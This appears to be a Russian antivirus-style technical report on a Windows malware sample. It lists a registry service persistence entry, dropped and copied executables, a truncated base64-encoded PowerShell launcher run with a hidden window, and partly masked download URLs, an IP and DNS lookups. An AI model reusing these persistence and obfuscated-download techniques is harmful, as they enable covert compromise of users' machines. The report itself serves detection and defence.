Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mssha] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mssha] 'ImagePath' = '"%WINDIR%\SysWOW64\w32topl\mssha.exe"'
- 'mssha' "%WINDIR%\SysWOW64\w32topl\mssha.exe"
- 'mssha' %WINDIR%\SysWOW64\w32topl\mssha.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABaAGwANQAxAHMAZABvAD0AKAAoACcAQgAnACsAJwByAHcAJwApACsAJwB0ACcAKwAoACcAagA2ACcAKwAnAHgAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAHIAcAByAG8AZgBpAEwAZQ...
- %HOMEPATH%\wn23xz5\d06o8nh\w2v0lo.exe
- %WINDIR%\syswow64\w32topl\mssha.exe
- %HOMEPATH%\wn23xz5\d06o8nh\w2v0lo.exe в %WINDIR%\syswow64\w32topl\mssha.exe
- '74.##9.172.26':80
- http://ji###guoren.com/wp-includes/1TV/
- http://74.##9.172.26/YCoydvf2SmIgNOlJL/ZZjoCfatEoy/
- DNS ASK sp####monizze.com
- DNS ASK ji###guoren.com
- '%HOMEPATH%\wn23xz5\d06o8nh\w2v0lo.exe'
- '%WINDIR%\syswow64\w32topl\mssha.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABaAGwANQAxAHMAZABvAD0AKAAoACcAQgAnACsAJwByAHcAJwApACsAJwB0ACcAKwAoACcAagA2ACcAKwAnAHgAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAHIAcAByAG8AZgBpAEwAZQ...' (со скрытым окном)